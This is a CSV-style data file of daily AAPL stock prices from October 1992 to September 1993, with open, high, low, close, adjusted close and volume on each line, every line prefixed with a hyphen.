-1992-10-07,1.6071428060531616,1.6160714626312256,1.5535714626312256,1.5625,1.3065297603607178,28327600.0,AAPL
-1992-10-08,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5535714626312256,1.2990635633468628,31743600.0,AAPL
-1992-10-09,1.5535714626312256,1.5714285373687744,1.5357142686843872,1.5491071939468384,1.2953310012817383,14686000.0,AAPL
-1992-10-12,1.5446428060531616,1.5803571939468384,1.5446428060531616,1.5714285373687744,1.3139954805374146,17908800.0,AAPL
-1992-10-13,1.5982142686843872,1.6428571939468384,1.5714285373687744,1.6205357313156128,1.355057716369629,36794800.0,AAPL
-1992-10-14,1.6160714626312256,1.6517857313156128,1.6071428060531616,1.6428571939468384,1.3737229108810425,23931600.0,AAPL
-1992-10-15,1.6339285373687744,1.6428571939468384,1.6160714626312256,1.625,1.3587909936904907,18855200.0,AAPL
-1992-10-16,1.6696428060531616,1.7678571939468384,1.6607142686843872,1.75,1.4633135795593262,112837200.0,AAPL
-1992-10-19,1.75,1.7589285373687744,1.7321428060531616,1.75,1.4633135795593262,49011200.0,AAPL
-1992-10-20,1.75,1.7857142686843872,1.7321428060531616,1.7544642686843872,1.4670466184616089,71811600.0,AAPL
-1992-10-21,1.7589285373687744,1.7678571939468384,1.7142857313156128,1.7321428060531616,1.448380947113037,28562800.0,AAPL
-1992-10-22,1.7321428060531616,1.7589285373687744,1.7232142686843872,1.7410714626312256,1.4558475017547607,21117600.0,AAPL
-1992-10-23,1.7589285373687744,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.4558475017547607,22856400.0,AAPL
-1992-10-26,1.7410714626312256,1.8392857313156128,1.7321428060531616,1.8392857313156128,1.5379718542099,62672400.0,AAPL
-1992-10-27,1.8392857313156128,1.875,1.8214285373687744,1.8392857313156128,1.5379718542099,52990000.0,AAPL
-1992-10-28,1.8303571939468384,1.8839285373687744,1.8125,1.8660714626312256,1.5603700876235962,49148400.0,AAPL
-1992-10-29,1.8660714626312256,1.9285714626312256,1.8392857313156128,1.9017857313156128,1.590233325958252,53474400.0,AAPL
-1992-10-30,1.9107142686843872,1.9107142686843872,1.8571428060531616,1.875,1.5678353309631348,32457600.0,AAPL
-1992-11-02,1.875,1.8839285373687744,1.8482142686843872,1.8660714626312256,1.5603700876235962,42523600.0,AAPL
-1992-11-03,1.875,1.875,1.8392857313156128,1.8571428060531616,1.5529041290283203,28187600.0,AAPL
-1992-11-04,1.8571428060531616,1.8839285373687744,1.8571428060531616,1.875,1.5678353309631348,35490000.0,AAPL
-1992-11-05,1.875,1.9642857313156128,1.875,1.9642857313156128,1.6424946784973145,74513600.0,AAPL
-1992-11-06,1.9553571939468384,2.017857074737549,1.9553571939468384,1.9910714626312256,1.6648919582366943,65993200.0,AAPL
-1992-11-09,2.0,2.0,1.9553571939468384,1.9732142686843872,1.6499607563018799,28232400.0,AAPL
-1992-11-10,1.9642857313156128,2.017857074737549,1.9553571939468384,2.0089285373687744,1.6798243522644043,30556400.0,AAPL
-1992-11-11,2.017857074737549,2.080357074737549,2.0089285373687744,2.0267856121063232,1.6947557926177979,35106400.0,AAPL
-1992-11-12,2.0357143878936768,2.0535714626312256,2.013392925262451,2.03125,1.6984890699386597,26899600.0,AAPL
-1992-11-13,2.0357143878936768,2.044642925262451,2.0,2.0089285373687744,1.6798243522644043,21187600.0,AAPL
-1992-11-16,2.0089285373687744,2.0625,2.0,2.049107074737549,1.7134205102920532,16886800.0,AAPL
-1992-11-17,2.044642925262451,2.0535714626312256,1.9598214626312256,1.9732142686843872,1.6499607563018799,42201600.0,AAPL
-1992-11-18,2.0,2.080357074737549,1.9821428060531616,2.0625,1.7246196269989014,76202000.0,AAPL
-1992-11-19,2.0625,2.125,2.0625,2.080357074737549,1.739551305770874,60135600.0,AAPL
-1992-11-20,2.0892856121063232,2.0982143878936768,2.0357143878936768,2.0535714626312256,1.7171533107757568,38872400.0,AAPL
-1992-11-23,2.017857074737549,2.0357143878936768,2.0089285373687744,2.0267856121063232,1.6947557926177979,38180800.0,AAPL
-1992-11-24,2.0357143878936768,2.0535714626312256,2.017857074737549,2.0535714626312256,1.7171533107757568,39205600.0,AAPL
-1992-11-25,2.0357143878936768,2.044642925262451,2.0,2.017857074737549,1.6872899532318115,29335600.0,AAPL
-1992-11-27,2.017857074737549,2.044642925262451,2.0089285373687744,2.017857074737549,1.6872899532318115,11799200.0,AAPL
-1992-11-30,2.0089285373687744,2.0535714626312256,1.9866071939468384,2.0535714626312256,1.7208118438720703,40126800.0,AAPL
-1992-12-01,2.044642925262451,2.107142925262451,2.0267856121063232,2.080357074737549,1.7432575225830078,32536000.0,AAPL
-1992-12-02,2.080357074737549,2.0892856121063232,2.0357143878936768,2.044642925262451,1.7133301496505737,24444000.0,AAPL
-1992-12-03,2.017857074737549,2.0580356121063232,2.0044643878936768,2.0535714626312256,1.7208118438720703,46897200.0,AAPL
-1992-12-04,2.044642925262451,2.0535714626312256,2.017857074737549,2.03125,1.7021080255508423,23945600.0,AAPL
-1992-12-07,2.0267856121063232,2.0625,2.0267856121063232,2.0625,1.728294014930725,36055600.0,AAPL
-1992-12-08,2.0625,2.0982143878936768,2.0625,2.075892925262451,1.7395164966583252,49159600.0,AAPL
-1992-12-09,2.0625,2.0714285373687744,2.044642925262451,2.0580356121063232,1.7245535850524902,39852400.0,AAPL
-1992-12-10,2.044642925262451,2.0580356121063232,2.017857074737549,2.044642925262451,1.7133301496505737,35047600.0,AAPL
-1992-12-11,2.044642925262451,2.080357074737549,2.044642925262451,2.0535714626312256,1.7208118438720703,30046800.0,AAPL
-1992-12-14,2.0535714626312256,2.0625,2.0267856121063232,2.044642925262451,1.7133301496505737,27627600.0,AAPL
-1992-12-15,2.0267856121063232,2.0357143878936768,1.9821428060531616,2.013392925262451,1.6871439218521118,45634400.0,AAPL
-1992-12-16,2.0089285373687744,2.0357143878936768,1.9464285373687744,1.9642857313156128,1.6459941864013672,56481600.0,AAPL
-1992-12-17,1.9732142686843872,2.0535714626312256,1.9732142686843872,2.03125,1.7021080255508423,58466800.0,AAPL
-1992-12-18,2.0535714626312256,2.1160714626312256,2.044642925262451,2.080357074737549,1.7432575225830078,58864400.0,AAPL
-1992-12-21,2.080357074737549,2.142857074737549,2.0714285373687744,2.1294643878936768,1.7844070196151733,64016400.0,AAPL
-1992-12-22,2.1339285373687744,2.1875,2.1339285373687744,2.1651785373687744,1.8143339157104492,70042000.0,AAPL
-1992-12-23,2.1517856121063232,2.1607143878936768,2.1160714626312256,2.1339285373687744,1.788148283958435,28084000.0,AAPL
-1992-12-24,2.142857074737549,2.142857074737549,2.107142925262451,2.107142925262451,1.7657028436660767,11491200.0,AAPL
-1992-12-28,2.1160714626312256,2.1339285373687744,2.1160714626312256,2.125,1.7806663513183594,17612000.0,AAPL
-1992-12-29,2.125,2.169642925262451,2.125,2.1294643878936768,1.7844070196151733,29069600.0,AAPL
-1992-12-30,2.1339285373687744,2.1339285373687744,2.0982143878936768,2.0982143878936768,1.758220911026001,25146800.0,AAPL
-1992-12-31,2.0982143878936768,2.142857074737549,2.0982143878936768,2.1339285373687744,1.788148283958435,23058000.0,AAPL
-1993-01-04,2.125,2.142857074737549,2.0625,2.080357074737549,1.7432575225830078,32284000.0,AAPL
-1993-01-05,2.0714285373687744,2.1160714626312256,2.044642925262451,2.1160714626312256,1.773184061050415,46564000.0,AAPL
-1993-01-06,2.169642925262451,2.2142856121063232,2.1607143878936768,2.205357074737549,1.848002314567566,70350000.0,AAPL
-1993-01-07,2.205357074737549,2.232142925262451,2.1651785373687744,2.1785714626312256,1.8255566358566284,68034400.0,AAPL
-1993-01-08,2.169642925262451,2.25,2.1339285373687744,2.2232143878936768,1.8629659414291382,80234000.0,AAPL
-1993-01-11,2.2142856121063232,2.299107074737549,2.205357074737549,2.2901785373687744,1.919079065322876,68432000.0,AAPL
-1993-01-12,2.2410714626312256,2.2767856121063232,2.1964285373687744,2.1964285373687744,1.8405205011367798,86539600.0,AAPL
-1993-01-13,2.1964285373687744,2.2857143878936768,2.1875,2.267857074737549,1.9003751277923584,49910000.0,AAPL
-1993-01-14,2.2857143878936768,2.330357074737549,2.2767856121063232,2.3214285373687744,1.945265769958496,91952000.0,AAPL
-1993-01-15,2.1785714626312256,2.2232143878936768,2.142857074737549,2.1517856121063232,1.8031115531921387,225657600.0,AAPL
-1993-01-18,2.125,2.142857074737549,2.0714285373687744,2.125,1.7806663513183594,83409200.0,AAPL
-1993-01-19,2.1339285373687744,2.1607143878936768,2.1160714626312256,2.1339285373687744,1.788148283958435,68510400.0,AAPL
-1993-01-20,2.1339285373687744,2.1517856121063232,2.125,2.142857074737549,1.7956300973892212,39684400.0,AAPL
-1993-01-21,2.1339285373687744,2.1517856121063232,2.0982143878936768,2.142857074737549,1.7956300973892212,46104800.0,AAPL
-1993-01-22,2.1517856121063232,2.1517856121063232,2.107142925262451,2.125,1.7806663513183594,36736000.0,AAPL
-1993-01-25,2.1160714626312256,2.1607143878936768,2.1160714626312256,2.142857074737549,1.7956300973892212,50568000.0,AAPL
-1993-01-26,2.1607143878936768,2.2142856121063232,2.1607143878936768,2.169642925262451,1.8180749416351318,71405600.0,AAPL
-1993-01-27,2.1785714626312256,2.205357074737549,2.0982143878936768,2.1517856121063232,1.8031115531921387,56655200.0,AAPL
-1993-01-28,2.142857074737549,2.1517856121063232,2.1160714626312256,2.138392925262451,1.7918894290924072,46009600.0,AAPL
-1993-01-29,2.1517856121063232,2.1875,2.107142925262451,2.125,1.7806663513183594,66525200.0,AAPL
-1993-02-01,2.1160714626312256,2.1875,2.1160714626312256,2.1875,1.83303964138031,60138400.0,AAPL
-1993-02-02,2.169642925262451,2.1964285373687744,2.1517856121063232,2.1517856121063232,1.8031115531921387,45584000.0,AAPL
-1993-02-03,2.1785714626312256,2.1785714626312256,2.0892856121063232,2.142857074737549,1.7956300973892212,66046400.0,AAPL
-1993-02-04,2.142857074737549,2.1517856121063232,2.107142925262451,2.125,1.7806663513183594,52038000.0,AAPL
-1993-02-05,2.1160714626312256,2.125,2.0089285373687744,2.044642925262451,1.7133301496505737,91904400.0,AAPL
-1993-02-08,2.0357143878936768,2.0535714626312256,1.9821428060531616,2.017857074737549,1.6908848285675049,70268800.0,AAPL
-1993-02-09,2.0357143878936768,2.049107074737549,2.017857074737549,2.03125,1.7021080255508423,59665200.0,AAPL
-1993-02-10,2.0357143878936768,2.044642925262451,1.9642857313156128,1.9910714626312256,1.6684390306472778,67071200.0,AAPL
-1993-02-11,1.9910714626312256,2.0089285373687744,1.9642857313156128,1.96875,1.6497350931167603,42067200.0,AAPL
-1993-02-12,1.9642857313156128,1.9821428060531616,1.9196428060531616,1.9241071939468384,1.6158467531204224,68849200.0,AAPL
-1993-02-16,1.9107142686843872,1.9107142686843872,1.8392857313156128,1.8928571939468384,1.5896034240722656,101934000.0,AAPL
-1993-02-17,1.9017857313156128,1.9285714626312256,1.8571428060531616,1.9241071939468384,1.6158467531204224,62395200.0,AAPL
-1993-02-18,1.9642857313156128,1.9732142686843872,1.9107142686843872,1.9642857313156128,1.649588704109192,70030800.0,AAPL
-1993-02-19,1.9732142686843872,1.9821428060531616,1.9553571939468384,1.9642857313156128,1.649588704109192,44450000.0,AAPL
-1993-02-22,1.9642857313156128,2.0,1.9553571939468384,1.96875,1.6533377170562744,24690400.0,AAPL
-1993-02-23,1.9642857313156128,1.9732142686843872,1.9285714626312256,1.9375,1.6270943880081177,48518400.0,AAPL
-1993-02-24,1.8616071939468384,1.9241071939468384,1.8616071939468384,1.9151785373687744,1.6083488464355469,71640800.0,AAPL
-1993-02-25,1.9017857313156128,1.9553571939468384,1.9017857313156128,1.9553571939468384,1.6420905590057373,41806800.0,AAPL
-1993-02-26,1.9375,1.9375,1.8660714626312256,1.8928571939468384,1.5896034240722656,73721200.0,AAPL
-1993-03-01,1.8928571939468384,1.9107142686843872,1.8839285373687744,1.9017857313156128,1.5971015691757202,29825600.0,AAPL
-1993-03-02,1.8928571939468384,1.9464285373687744,1.8928571939468384,1.9375,1.6270943880081177,36923600.0,AAPL
-1993-03-03,1.9285714626312256,1.9642857313156128,1.9017857313156128,1.9508928060531616,1.6383410692214966,50674400.0,AAPL
-1993-03-04,1.9464285373687744,1.9732142686843872,1.9107142686843872,1.9642857313156128,1.649588704109192,47084800.0,AAPL
-1993-03-05,1.9553571939468384,1.9910714626312256,1.9553571939468384,1.9642857313156128,1.649588704109192,27904800.0,AAPL
-1993-03-08,1.9642857313156128,2.0267856121063232,1.9642857313156128,2.017857074737549,1.6945772171020508,44251200.0,AAPL
-1993-03-09,2.017857074737549,2.0535714626312256,2.017857074737549,2.0267856121063232,1.7020756006240845,38707200.0,AAPL
-1993-03-10,2.0267856121063232,2.044642925262451,2.0,2.0267856121063232,1.7020756006240845,33124000.0,AAPL
-1993-03-11,2.0357143878936768,2.044642925262451,2.0089285373687744,2.03125,1.705824851989746,36153600.0,AAPL
-1993-03-12,2.0267856121063232,2.0267856121063232,1.9821428060531616,2.0089285373687744,1.6870794296264648,31673600.0,AAPL
-1993-03-15,2.0,2.044642925262451,1.9776785373687744,2.0357143878936768,1.7095736265182495,34008800.0,AAPL
-1993-03-16,2.044642925262451,2.0625,2.017857074737549,2.017857074737549,1.6945772171020508,25320400.0,AAPL
-1993-03-17,2.017857074737549,2.0357143878936768,1.9642857313156128,1.96875,1.6533377170562744,44055200.0,AAPL
-1993-03-18,1.9642857313156128,1.9866071939468384,1.9464285373687744,1.9464285373687744,1.6345924139022827,26546800.0,AAPL
-1993-03-19,1.9642857313156128,1.9732142686843872,1.9107142686843872,1.9196428060531616,1.6120976209640503,38525200.0,AAPL
-1993-03-22,1.9107142686843872,1.9241071939468384,1.8839285373687744,1.9017857313156128,1.5971015691757202,41300000.0,AAPL
-1993-03-23,1.9017857313156128,1.9285714626312256,1.8794642686843872,1.8839285373687744,1.5821055173873901,25634000.0,AAPL
-1993-03-24,1.8839285373687744,1.9375,1.875,1.9196428060531616,1.6120976209640503,35767200.0,AAPL
-1993-03-25,1.9196428060531616,1.9553571939468384,1.9107142686843872,1.9553571939468384,1.6420905590057373,42761600.0,AAPL
-1993-03-26,1.9553571939468384,1.9553571939468384,1.875,1.9017857313156128,1.5971015691757202,37940000.0,AAPL
-1993-03-29,1.8660714626312256,1.875,1.8125,1.8214285373687744,1.5296188592910767,65427600.0,AAPL
-1993-03-30,1.8258928060531616,1.8660714626312256,1.7946428060531616,1.8660714626312256,1.567109227180481,66012800.0,AAPL
-1993-03-31,1.875,1.8839285373687744,1.8303571939468384,1.8392857313156128,1.5446144342422485,55759200.0,AAPL
-1993-04-01,1.8303571939468384,1.8571428060531616,1.8214285373687744,1.8482142686843872,1.5521129369735718,27050800.0,AAPL
-1993-04-02,1.8035714626312256,1.8303571939468384,1.7678571939468384,1.7901785373687744,1.5033749341964722,63448000.0,AAPL
-1993-04-05,1.7857142686843872,1.8035714626312256,1.7678571939468384,1.7857142686843872,1.4996261596679688,37293200.0,AAPL
-1993-04-06,1.7857142686843872,1.7946428060531616,1.7410714626312256,1.7410714626312256,1.4621351957321167,42092400.0,AAPL
-1993-04-07,1.75,1.8125,1.7321428060531616,1.8035714626312256,1.5146219730377197,40712000.0,AAPL
-1993-04-08,1.7857142686843872,1.8035714626312256,1.75,1.7767857313156128,1.492127776145935,40857600.0,AAPL
-1993-04-12,1.7678571939468384,1.8214285373687744,1.7678571939468384,1.7857142686843872,1.4996261596679688,23262400.0,AAPL
-1993-04-13,1.8035714626312256,1.8303571939468384,1.7232142686843872,1.7321428060531616,1.4546366930007935,41120800.0,AAPL
-1993-04-14,1.7232142686843872,1.7410714626312256,1.7008928060531616,1.7410714626312256,1.4621351957321167,42515200.0,AAPL
-1993-04-15,1.7232142686843872,1.7232142686843872,1.6696428060531616,1.6875,1.4171468019485474,54675600.0,AAPL
-1993-04-16,1.7232142686843872,1.7410714626312256,1.6919642686843872,1.71875,1.443389654159546,171698800.0,AAPL
-1993-04-19,1.7321428060531616,1.7678571939468384,1.7232142686843872,1.7321428060531616,1.4546366930007935,56966000.0,AAPL
-1993-04-20,1.7410714626312256,1.7946428060531616,1.7232142686843872,1.7857142686843872,1.4996261596679688,60012400.0,AAPL
-1993-04-21,1.7946428060531616,1.8125,1.7589285373687744,1.7723214626312256,1.488378882408142,51318400.0,AAPL
-1993-04-22,1.7589285373687744,1.8035714626312256,1.75,1.7857142686843872,1.4996261596679688,39418400.0,AAPL
-1993-04-23,1.7767857313156128,1.7946428060531616,1.7410714626312256,1.7589285373687744,1.4771312475204468,33535600.0,AAPL
-1993-04-26,1.7589285373687744,1.7767857313156128,1.7321428060531616,1.75,1.46963369846344,25701200.0,AAPL
-1993-04-27,1.7410714626312256,1.7946428060531616,1.7410714626312256,1.7946428060531616,1.5071243047714233,32418400.0,AAPL
-1993-04-28,1.7767857313156128,1.8571428060531616,1.7767857313156128,1.8348214626312256,1.5408660173416138,40810000.0,AAPL
-1993-04-29,1.8392857313156128,1.8482142686843872,1.7901785373687744,1.8125,1.522120475769043,20610800.0,AAPL
-1993-04-30,1.8125,1.875,1.8125,1.8303571939468384,1.5371168851852417,33084800.0,AAPL
-1993-05-03,1.8303571939468384,1.8571428060531616,1.8214285373687744,1.8526785373687744,1.5558618307113647,16296000.0,AAPL
-1993-05-04,1.8660714626312256,1.9375,1.8571428060531616,1.90625,1.6008509397506714,42705600.0,AAPL
-1993-05-05,1.8928571939468384,1.9821428060531616,1.8928571939468384,1.9464285373687744,1.6345924139022827,63266000.0,AAPL
-1993-05-06,1.9464285373687744,1.9553571939468384,1.9107142686843872,1.9196428060531616,1.6120976209640503,17614800.0,AAPL
-1993-05-07,1.9107142686843872,1.9553571939468384,1.9107142686843872,1.9553571939468384,1.6420905590057373,20473600.0,AAPL
-1993-05-10,1.9642857313156128,1.9955357313156128,1.9642857313156128,1.9642857313156128,1.649588704109192,34482000.0,AAPL
-1993-05-11,1.9642857313156128,1.9732142686843872,1.9285714626312256,1.9464285373687744,1.6345924139022827,39594800.0,AAPL
-1993-05-12,1.9375,1.9553571939468384,1.8928571939468384,1.9017857313156128,1.5971015691757202,26306000.0,AAPL
-1993-05-13,1.9107142686843872,1.9910714626312256,1.9107142686843872,1.9821428060531616,1.664584755897522,90431600.0,AAPL
-1993-05-14,1.9732142686843872,2.0,1.9642857313156128,1.9821428060531616,1.664584755897522,29352400.0,AAPL
-1993-05-17,1.9821428060531616,2.0,1.9642857313156128,1.9910714626312256,1.6720824241638184,17410400.0,AAPL
-1993-05-18,1.9821428060531616,2.0089285373687744,1.9642857313156128,1.9821428060531616,1.664584755897522,40868800.0,AAPL
-1993-05-19,1.9553571939468384,2.0535714626312256,1.9464285373687744,2.044642925262451,1.717071771621704,43192800.0,AAPL
-1993-05-20,2.044642925262451,2.107142925262451,2.044642925262451,2.0982143878936768,1.762060523033142,72632000.0,AAPL
-1993-05-21,2.0982143878936768,2.111607074737549,2.0267856121063232,2.0535714626312256,1.7245697975158691,37049600.0,AAPL
-1993-05-24,2.0267856121063232,2.0982143878936768,2.0267856121063232,2.0580356121063232,1.7283196449279785,37578800.0,AAPL
-1993-05-25,2.0267856121063232,2.0535714626312256,1.9910714626312256,2.013392925262451,1.6908283233642578,45180800.0,AAPL
-1993-05-26,2.0,2.0625,1.9776785373687744,2.0625,1.7320681810379028,30391200.0,AAPL
-1993-05-27,2.0625,2.0892856121063232,2.044642925262451,2.0535714626312256,1.7245697975158691,49322000.0,AAPL
-1993-05-28,2.0357143878936768,2.0535714626312256,2.0089285373687744,2.0223214626312256,1.7018814086914062,45987200.0,AAPL
-1993-06-01,2.017857074737549,2.0625,2.017857074737549,2.0357143878936768,1.713152527809143,33768000.0,AAPL
-1993-06-02,2.0267856121063232,2.080357074737549,2.0,2.0357143878936768,1.713152527809143,50120000.0,AAPL
-1993-06-03,2.0357143878936768,2.044642925262451,2.0,2.013392925262451,1.6943681240081787,39214000.0,AAPL
-1993-06-04,1.9910714626312256,2.0089285373687744,1.9464285373687744,1.9598214626312256,1.6492846012115479,53421200.0,AAPL
-1993-06-07,1.9464285373687744,1.9553571939468384,1.7991071939468384,1.8125,1.525307059288025,120576400.0,AAPL
-1993-06-08,1.7410714626312256,1.7857142686843872,1.7142857313156128,1.7678571939468384,1.4877378940582275,155274000.0,AAPL
-1993-06-09,1.6071428060531616,1.6294642686843872,1.5714285373687744,1.5803571939468384,1.3299471139907837,294604800.0,AAPL
-1993-06-10,1.5535714626312256,1.5982142686843872,1.5267857313156128,1.5892857313156128,1.337460994720459,138426400.0,AAPL
-1993-06-11,1.6071428060531616,1.6160714626312256,1.5491071939468384,1.5625,1.3149195909500122,60580800.0,AAPL
-1993-06-14,1.5714285373687744,1.5982142686843872,1.5535714626312256,1.59375,1.3412179946899414,62372800.0,AAPL
-1993-06-15,1.6160714626312256,1.6160714626312256,1.4955357313156128,1.5,1.2623226642608643,112081200.0,AAPL
-1993-06-16,1.5089285373687744,1.5446428060531616,1.4821428060531616,1.5089285373687744,1.2698365449905396,88270000.0,AAPL
-1993-06-17,1.5178571939468384,1.5178571939468384,1.4464285373687744,1.4732142686843872,1.2397814989089966,102359600.0,AAPL
-1993-06-18,1.4866071939468384,1.5044642686843872,1.4196428060531616,1.4642857313156128,1.2322673797607422,77823200.0,AAPL
-1993-06-21,1.4464285373687744,1.4464285373687744,1.4107142686843872,1.4151785373687744,1.1909414529800415,68395600.0,AAPL
-1993-06-22,1.4598214626312256,1.5,1.4196428060531616,1.4776785373687744,1.2435383796691895,84095200.0,AAPL
-1993-06-23,1.4910714626312256,1.4910714626312256,1.4285714626312256,1.4464285373687744,1.2172400951385498,45180800.0,AAPL
-1993-06-24,1.4464285373687744,1.4910714626312256,1.4285714626312256,1.4910714626312256,1.2548091411590576,55708800.0,AAPL
-1993-06-25,1.4419642686843872,1.4553571939468384,1.4107142686843872,1.4285714626312256,1.2022123336791992,64290800.0,AAPL
-1993-06-28,1.4464285373687744,1.4464285373687744,1.3839285373687744,1.4330357313156128,1.2059693336486816,88404400.0,AAPL
-1993-06-29,1.4375,1.4375,1.375,1.3928571939468384,1.172156810760498,73567200.0,AAPL
-1993-06-30,1.3839285373687744,1.4196428060531616,1.375,1.4107142686843872,1.1871846914291382,50064000.0,AAPL
-1993-07-01,1.3928571939468384,1.4196428060531616,1.3571428060531616,1.3571428060531616,1.142101526260376,54541200.0,AAPL
-1993-07-02,1.3660714626312256,1.3839285373687744,1.3482142686843872,1.375,1.1571294069290161,47908000.0,AAPL
-1993-07-06,1.3660714626312256,1.3928571939468384,1.3392857313156128,1.3482142686843872,1.1345877647399902,38813600.0,AAPL
-1993-07-07,1.3392857313156128,1.3526785373687744,1.2946428060531616,1.3035714626312256,1.0970182418823242,56758800.0,AAPL
-1993-07-08,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3035714626312256,1.0970182418823242,34742400.0,AAPL
-1993-07-09,1.3214285373687744,1.3303571939468384,1.3035714626312256,1.3125,1.104532241821289,39219600.0,AAPL
-1993-07-12,1.3125,1.3616071939468384,1.2946428060531616,1.3571428060531616,1.142101526260376,43470000.0,AAPL
-1993-07-13,1.3839285373687744,1.3839285373687744,1.3214285373687744,1.3303571939468384,1.1195602416992188,39527600.0,AAPL
-1993-07-14,1.3125,1.3392857313156128,1.2767857313156128,1.3303571939468384,1.1195602416992188,61574800.0,AAPL
-1993-07-15,1.3303571939468384,1.3482142686843872,1.2589285373687744,1.2767857313156128,1.074477195739746,84509600.0,AAPL
-1993-07-16,1.0178571939468384,1.0580357313156128,0.9464285969734192,0.9821428656578064,0.8265209794044495,530149200.0,AAPL
-1993-07-19,1.0,1.0267857313156128,0.9107142686843872,0.9151785969734192,0.770167350769043,201558000.0,AAPL
-1993-07-20,0.9375,0.9910714030265808,0.9196428656578064,0.9598214030265808,0.8077362775802612,132977600.0,AAPL
-1993-07-21,0.9285714030265808,0.9553571343421936,0.9107142686843872,0.9375,0.7889516949653625,113976800.0,AAPL
-1993-07-22,0.9285714030265808,0.9642857313156128,0.9196428656578064,0.9464285969734192,0.7964655756950378,52794000.0,AAPL
-1993-07-23,0.9642857313156128,0.9821428656578064,0.9285714030265808,0.9375,0.7889516949653625,58444400.0,AAPL
-1993-07-26,0.9553571343421936,0.9821428656578064,0.9285714030265808,0.9598214030265808,0.8077362775802612,38206000.0,AAPL
-1993-07-27,0.9553571343421936,0.9821428656578064,0.9375,0.9464285969734192,0.7964655756950378,49652400.0,AAPL
-1993-07-28,0.9375,0.9642857313156128,0.9375,0.9598214030265808,0.8077362775802612,22948800.0,AAPL
-1993-07-29,0.9642857313156128,0.9821428656578064,0.9553571343421936,0.9732142686843872,0.8190070986747742,30343600.0,AAPL
-1993-07-30,0.9821428656578064,1.0089285373687744,0.9642857313156128,0.9910714030265808,0.8340346217155457,53611600.0,AAPL
-1993-08-02,1.0089285373687744,1.0446428060531616,1.0,1.0178571939468384,0.8565762639045715,54076400.0,AAPL
-1993-08-03,1.0357142686843872,1.0446428060531616,1.0267857313156128,1.0357142686843872,0.8716038465499878,44119600.0,AAPL
-1993-08-04,1.0446428060531616,1.0892857313156128,1.0357142686843872,1.0803571939468384,0.9091731309890747,60748800.0,AAPL
-1993-08-05,1.0982142686843872,1.0982142686843872,1.0357142686843872,1.0535714626312256,0.8866316676139832,52343200.0,AAPL
-1993-08-06,1.0446428060531616,1.0803571939468384,1.0446428060531616,1.0446428060531616,0.8791176080703735,31480400.0,AAPL
-1993-08-09,1.0446428060531616,1.0803571939468384,1.0357142686843872,1.0625,0.8941454291343689,40353600.0,AAPL
-1993-08-10,1.0535714626312256,1.0625,1.0089285373687744,1.0178571939468384,0.8565762639045715,38194800.0,AAPL
-1993-08-11,1.0178571939468384,1.0178571939468384,0.9642857313156128,0.9821428656578064,0.8265209794044495,41742400.0,AAPL
-1993-08-12,0.9821428656578064,0.9910714030265808,0.9285714030265808,0.9464285969734192,0.7964655756950378,84543200.0,AAPL
-1993-08-13,0.9464285969734192,0.9910714030265808,0.9375,0.9776785969734192,0.8227640390396118,34703200.0,AAPL
-1993-08-16,0.9821428656578064,1.0,0.9732142686843872,0.9821428656578064,0.8301638960838318,25611600.0,AAPL
-1993-08-17,0.9910714030265808,1.0178571939468384,0.9732142686843872,1.0133928060531616,0.8565779328346252,27045200.0,AAPL
-1993-08-18,1.0357142686843872,1.0625,1.0089285373687744,1.0178571939468384,0.8603514432907104,47180000.0,AAPL
-1993-08-19,1.0267857313156128,1.0267857313156128,0.9821428656578064,0.9821428656578064,0.8301638960838318,38032400.0,AAPL
-1993-08-20,0.9910714030265808,1.0,0.9642857313156128,1.0,0.845257580280304,24984400.0,AAPL
-1993-08-23,1.0,1.0267857313156128,0.9821428656578064,1.0133928060531616,0.8565779328346252,22794800.0,AAPL
-1993-08-24,1.0089285373687744,1.0267857313156128,0.9910714030265808,1.0,0.845257580280304,25314800.0,AAPL
-1993-08-25,1.0,1.0089285373687744,0.9553571343421936,0.9732142686843872,0.822616696357727,36442000.0,AAPL
-1993-08-26,0.9732142686843872,0.9732142686843872,0.9464285969734192,0.9598214030265808,0.811296284198761,44035600.0,AAPL
-1993-08-27,0.9642857313156128,0.9642857313156128,0.9375,0.9464285969734192,0.7999758124351501,46642400.0,AAPL
-1993-08-30,0.9464285969734192,0.9464285969734192,0.9241071343421936,0.9285714030265808,0.7848821878433228,68434800.0,AAPL
-1993-08-31,0.9464285969734192,0.9553571343421936,0.9285714030265808,0.9464285969734192,0.7999758124351501,31967600.0,AAPL
-1993-09-01,0.9464285969734192,0.9553571343421936,0.9196428656578064,0.9330357313156128,0.7886555790901184,56392000.0,AAPL
-1993-09-02,0.9285714030265808,0.9375,0.9017857313156128,0.9196428656578064,0.7773348689079285,70565600.0,AAPL
-1993-09-03,0.9285714030265808,0.9285714030265808,0.9017857313156128,0.9196428656578064,0.7773348689079285,40734400.0,AAPL
-1993-09-07,0.9285714030265808,0.9642857313156128,0.9196428656578064,0.9375,0.7924289703369141,35884800.0,AAPL
-1993-09-08,0.9375,0.9642857313156128,0.9285714030265808,0.9553571343421936,0.807522714138031,56658000.0,AAPL
-1993-09-09,0.9553571343421936,0.9642857313156128,0.9285714030265808,0.9285714030265808,0.7848821878433228,37382800.0,AAPL
-1993-09-10,0.9375,0.9375,0.90625,0.9375,0.7924289703369141,33622400.0,AAPL
-1993-09-13,0.9375,0.9464285969734192,0.8839285969734192,0.9017857313156128,0.7622411847114563,63946400.0,AAPL
-1993-09-14,0.8660714030265808,0.8928571343421936,0.8571428656578064,0.8660714030265808,0.7320533394813538,69160000.0,AAPL
-1993-09-15,0.875,0.8928571343421936,0.8392857313156128,0.875,0.739600419998169,64430800.0,AAPL
-1993-09-16,0.8660714030265808,0.8928571343421936,0.8660714030265808,0.8839285969734192,0.7471473217010498,21490000.0,AAPL
-1993-09-17,0.8705357313156128,0.9107142686843872,0.8660714030265808,0.9017857313156128,0.7622411847114563,43008000.0,AAPL
-1993-09-20,0.9017857313156128,0.9107142686843872,0.8839285969734192,0.8883928656578064,0.7509206533432007,27759200.0,AAPL
-1993-09-21,0.8839285969734192,0.9017857313156128,0.8526785969734192,0.875,0.739600419998169,36624000.0,AAPL
-1993-09-22,0.8660714030265808,0.9107142686843872,0.8660714030265808,0.9107142686843872,0.7697879672050476,27622000.0,AAPL
-1993-09-23,0.9107142686843872,0.9107142686843872,0.875,0.8839285969734192,0.7471473217010498,32737600.0,AAPL
-1993-09-24,0.8928571343421936,0.9017857313156128,0.875,0.8928571343421936,0.754694402217865,19143600.0,AAPL
-1993-09-27,0.8928571343421936,0.9017857313156128,0.8660714030265808,0.8839285969734192,0.7471473217010498,28294000.0,AAPL
